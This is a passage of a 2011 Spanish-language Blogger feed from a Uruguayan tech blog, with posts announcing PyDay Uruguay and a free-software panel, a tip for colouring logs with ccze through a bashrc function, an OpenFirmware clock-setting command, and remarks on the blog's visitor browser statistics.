0px;"&gt;&lt;span class="Apple-style-span" style="color: #333333; font-size: large;"&gt;&lt;strong&gt;Primer Python Day Uruguay - 20 de Agosto de 2011&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span class="Apple-style-span" style="color: #333333; font-size: large;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: 12px; margin-left: auto; margin-right: auto;"&gt;&lt;img alt="undefined" height="123" src="https://s3.amazonaws.com/eventioz_production/media_contents/2140/pyuy_logo.png" style="display: block; margin-left: auto; margin-right: auto;" width="314" /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-size: small;"&gt;PyDay Uruguay 2011 es un evento gratuito organizado por la comunidad de desarrolladores Python con el objetivo de difundir el uso del lenguaje además de fomentar proyectos y negocios basados en tecnologías relacionadas.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-size: small;"&gt;Público objetivo: estudiantes, empresarios, desarrolladores, administradores de sistemas, técnicos, etc. Los invitamos a acompañanos en una jornada de talleres y charlas de todos los niveles.&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: center;"&gt;&lt;span style="font-size: small;"&gt;&lt;a href="https://eventioz.com/events/python-day-uruguay-2011/registrations/new" style="color: #35536a; text-decoration: underline;"&gt;Regístrate al primer PyDay Uruguay 2011&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: center;"&gt;&lt;strong&gt;&lt;span style="color: maroon;"&gt;&lt;span style="font-size: x-small;"&gt;QUEDAN POCOS LUGARES !&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-size: small;"&gt;Python es un lenguaje de código abierto de alto nivel, multipropósito, multiplataforma y multiparadigma fácil de aprender y divertido al usar.&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-size: small;"&gt;Es la herramienta principal en empresas como Google o Industrial Light and Magic y organizaciones como la Administración Nacional de Aeronáutica y del Espacio (NASA).&lt;/span&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-size: small;"&gt;Conoce Python - Utiliza Python&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: center;"&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;em&gt;&lt;strong&gt;&amp;nbsp;mail: contacto@python.org.uy&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: center;"&gt;&lt;span style="font-size: small;"&gt;&lt;em&gt;&lt;strong&gt;twitter: @PyDay_uy&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;strong&gt;&lt;em&gt;&lt;br /&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 15px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-size: small;"&gt;Explícito es mejor que implícito.&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 15px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-size: small;"&gt;Simple es mejor que complejo.&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 15px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-size: small;"&gt;La legibilidad cuenta.&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 15px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-size: small;"&gt;Ahora es mejor que nunca.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-size: small;"&gt;Las temáticas de las charlas incluirán: Conceptos básicos sobre Python, Networking, Frameworks Web, Web Scraping/Crawling y aplicaciones científicas, además de charlas relámpago de empresas que basan su negocio en el ecosistema de Python y compartirán sus experiencias.&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: center;"&gt;&lt;br /&gt;&lt;span style="color: #003366;"&gt;&lt;strong&gt;&lt;span style="font-size: small;"&gt;Python Day Uruguay -&amp;nbsp;&lt;strong&gt;&lt;span&gt;@PyDay_uy&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #003366;"&gt;&lt;strong&gt;&lt;span style="font-size: small;"&gt;Club del expositor del LATU - 20 Agosto 2011 - 9 a 19 hs&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: center;"&gt;&lt;span style="color: #003366;"&gt;&lt;strong&gt;&lt;span style="font-size: small;"&gt;Av. Italia 6201&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-2489584737110093259?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/2489584737110093259/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/08/python-day.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2489584737110093259'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2489584737110093259'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/08/python-day.html' title='Python Day'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-1815063501032533837</id><published>2011-08-11T09:32:00.000-07:00</published><updated>2011-08-11T09:33:27.416-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ccze'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><title type='text'>Como ver logs en colores</title><content type='html'>La herramienta nos permite colorear los logs dependiendo del formato de estos.&lt;br /&gt;Soporta los archivos syslog,messages,mail.info y muchos mas...&lt;br /&gt;&lt;br /&gt;Como root instalamos el ccze:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;# apt-get install ccze&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;$ echo "&lt;br /&gt;logview()&lt;br /&gt;{&lt;br /&gt;ccze -A &amp;lt; $1 | less -R&lt;br /&gt;}&lt;br /&gt;" &amp;gt;&amp;gt; .bashrc&lt;/div&gt;&lt;br /&gt;Por ultimo recargamos la configuracion de bash:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$ source .bashrc&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Un ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-rbU91xLqSig/TkQDtDgQnxI/AAAAAAAAAZ4/pRfesnFxlzc/s1600/ccze.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="227" src="http://2.bp.blogspot.com/-rbU91xLqSig/TkQDtDgQnxI/AAAAAAAAAZ4/pRfesnFxlzc/s320/ccze.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-1815063501032533837?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/1815063501032533837/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/08/como-ver-logs-en-colores.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1815063501032533837'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1815063501032533837'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/08/como-ver-logs-en-colores.html' title='Como ver logs en colores'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-rbU91xLqSig/TkQDtDgQnxI/AAAAAAAAAZ4/pRfesnFxlzc/s72-c/ccze.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-6871980720452229201</id><published>2011-08-09T14:45:00.000-07:00</published><updated>2011-08-09T14:45:03.607-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='openfirmware'/><title type='text'>OpenFirmware</title><content type='html'>Como setear la fecha y hora del RTC:&lt;br /&gt;&lt;br /&gt;Formato:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;decimal dev rtc sec min hour day month year set-time&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;decimal dev rtc 00 33 18 09 08 2011 set-time ok&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-6871980720452229201?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/6871980720452229201/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/08/openfirmware.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6871980720452229201'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6871980720452229201'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/08/openfirmware.html' title='OpenFirmware'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-7213896453542139280</id><published>2011-08-02T14:47:00.000-07:00</published><updated>2011-08-02T14:47:38.449-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fing'/><category scheme='http://www.blogger.com/atom/ns#' term='eventos'/><title type='text'>Panel-Taller: “Aportes del Software Libre al desarrollo nacional”</title><content type='html'>Viernes 5 de Agosto, 18:00 hrs.&lt;br /&gt;&lt;br /&gt;Edificio polifuncional “José Luis Massera”, Facultad de Ingeniería. Salón&lt;br /&gt;B23&lt;br /&gt;&lt;br /&gt;Organizan: Centro de Estudiantes de Ingeniería, Centro de Estudiantes de&lt;br /&gt;Psicología.&lt;br /&gt;&lt;br /&gt;Auspicia: &lt;a href="http://www.fing.edu.uy/"&gt;Facultad de Ingeniería de la UdelaR&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Objetivos de la actividad:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Concientizar al demos universitario, en particular a los estudiantes de la&lt;br /&gt;UdelaR, sobre el rol estratégico que cumple el software libre en la&lt;br /&gt;construcción de un proyecto de desarrollo nacional.&lt;br /&gt;&lt;br /&gt;Estimular la reflexión crítica de los participantes sobre la temática del&lt;br /&gt;software libre, logrando aportes para la consolidación del SL en el Uruguay&lt;br /&gt;(a nivel comunitario, universitario, estatal, etc).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Ejes de discusión&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;1. ¿Software libre, para qué? Relevancia estratégica del Software&lt;br /&gt;Libre en la construcción de un proyecto de desarrollo nacional.&lt;br /&gt;2. Software Libre y educación.&lt;br /&gt;3. Políticas públicas de fomento al uso y desarrollo del Software&lt;br /&gt;Libre en Latinoamérica.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Panel (1 hora)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Panelistas:&lt;br /&gt;&lt;br /&gt;- Daniel Viñar (Ingeniero especializado en informática y&lt;br /&gt;telecomunicaciones)&lt;br /&gt;- Luis Alonzo (Sociólogo, asesor informático)&lt;br /&gt;- Helius Ferreira (Técnico en electrónica, informático)&lt;br /&gt;&lt;br /&gt;Moderador: Yasim Zeballos (Centro de Estudiantes de Ingeniería)&lt;br /&gt;&lt;br /&gt;Taller (1 hora)&lt;br /&gt;&lt;br /&gt;Plenario de cierre (30 min)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-7213896453542139280?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/7213896453542139280/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/08/panel-taller-aportes-del-software-libre.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7213896453542139280'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7213896453542139280'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/08/panel-taller-aportes-del-software-libre.html' title='Panel-Taller: “Aportes del Software Libre al desarrollo nacional”'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-4112695590509415076</id><published>2011-06-16T08:30:00.000-07:00</published><updated>2011-06-16T08:31:13.906-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><title type='text'>Un par de estadísticas</title><content type='html'>El siguiente es un cuadro que extraje de &lt;a href="http://blogger.com/"&gt;blogger&lt;/a&gt; con las estadísticas de visitas a este blog.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-cSrf400DQMo/Tfoa6J-ERnI/AAAAAAAAAWU/PHRd4ht-sw0/s1600/Estadisticas.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://1.bp.blogspot.com/-cSrf400DQMo/Tfoa6J-ERnI/AAAAAAAAAWU/PHRd4ht-sw0/s400/Estadisticas.jpg" width="289" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;A golpe de ojo:&lt;/b&gt;&lt;br /&gt;Lo que pude ver y analizar a groso modo es que la mayoría los visitantes que tengo son usuarios del sistema operativo Windows (estoy hablando de un 75%), luego le sigue Other Unix con (4%) que podría ser algún  sistema operativo de la familia &lt;a href="http://es.wikipedia.org/.../Berkeley_Software_Distribution"&gt;BSD&lt;/a&gt; o algún otro SO que no se me ocurra en este momento, luego con el 1% viene &lt;a href="http://es.wikipedia.org/wiki/GNU/Linux"&gt;Linux&lt;/a&gt;.&lt;br /&gt;Pero lo mas interesante es que también la mayoría de los visitantes utiliza &lt;a href="http://www.mozilla-europe.org/es/"&gt;Firefox&lt;/a&gt;(10%) para acceder a este sitio, luego le sigue IE con 9% y &lt;a href="http://www.google.com/chrome?hl=es"&gt;Chrome&lt;/a&gt; con 5.2%, cave destacar que IE es un navegador&amp;nbsp;antiquísimo, y&amp;nbsp;&lt;a href="http://www.mozilla-europe.org/es/"&gt;Firefox&lt;/a&gt;&amp;nbsp;ya tiene su nicho hace un buen rato y que este esta desplazando a IE, pero &lt;a href="http://www.google.com/chrome?hl=es"&gt;Chrome&lt;/a&gt; un navegador que hace no mucho tiempo que esta en la vuelta ya tiene la mitad de usuarios que Firefox.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Mi&amp;nbsp;conclusión&amp;nbsp;es la siguiente:&lt;/b&gt;&lt;br /&gt;Si bien hay usuarios que utilizan el SO Windows y son la&amp;nbsp;mayoría,&amp;nbsp;también&amp;nbsp;la&amp;nbsp;mayoría&amp;nbsp;son usuarios de &lt;a href="http://www.mozilla-europe.org/es"&gt;Firefox&lt;/a&gt;&amp;nbsp;&amp;nbsp;(&lt;a href="https://wiki.mozilla.org/Firefox/Namoroka"&gt;namoroka&lt;/a&gt; e &lt;a href="http://www.geticeweasel.org/"&gt;Iceweasel&lt;/a&gt; son derivados de Firefox),&amp;nbsp;siguiéndole&amp;nbsp;&lt;a href="http://www.google.com/chrome?hl=es"&gt;Chrome&lt;/a&gt; como navegadores libres esto quiere decir que estos usuarios&amp;nbsp;podrían&amp;nbsp;ser futuros usuarios de sistemas operativos libres pero&amp;nbsp;quizá&amp;nbsp;no se animen a instalar un SO libre.&lt;br /&gt;Estos datos son muy alentadores y nos dejan pensar que&amp;nbsp;todavía&amp;nbsp;hay mucho margen para crecer y ganar usuarios en el&amp;nbsp;ámbito&amp;nbsp;del &lt;a href="http://es.wikipedia.org/wiki/Software_libre"&gt;SL&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;A mis lectores:&lt;/b&gt;&lt;br /&gt;Mi&amp;nbsp;recomendación&amp;nbsp;personal para todos aquellos usuarios del 75% es que intenten al menos probar con un dual boot y &lt;a href="http://www.ubuntu.com/"&gt;Ubuntu&lt;/a&gt;&amp;nbsp;(personalmente prefiero &lt;a href="http://www.debian.org/index.es.html"&gt;Debian&lt;/a&gt; pero&amp;nbsp;&lt;a href="http://www.ubuntu.com/"&gt;Ubuntu&lt;/a&gt;&amp;nbsp;es mas amigable con el nuevo usuario).&lt;br /&gt;Si no se animan a particionar e instalar directo en los fierros como se dice pueden instalarse el queridisimo emulador/Virtualizador &lt;a href="http://www.virtualbox.org/"&gt;Virtualbox&lt;/a&gt; en el cual pueden bootear cualquier sistema operativo &lt;a href="http://es.wikipedia.org/wiki/X86"&gt;x86&lt;/a&gt; dentro de Windows y que este no afectara sus datos residentes en este SO.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-4112695590509415076?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/4112695590509415076/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/06/un-par-de-estadisticas.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4112695590509415076'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4112695590509415076'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/06/un-par-de-estadisticas.html' title='Un par de estadísticas'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-cSrf400DQMo/Tfoa6J-ERnI/AAAAAAAAAWU/PHRd4ht-sw0/s72-c/Estadisticas.jpg' height='72' 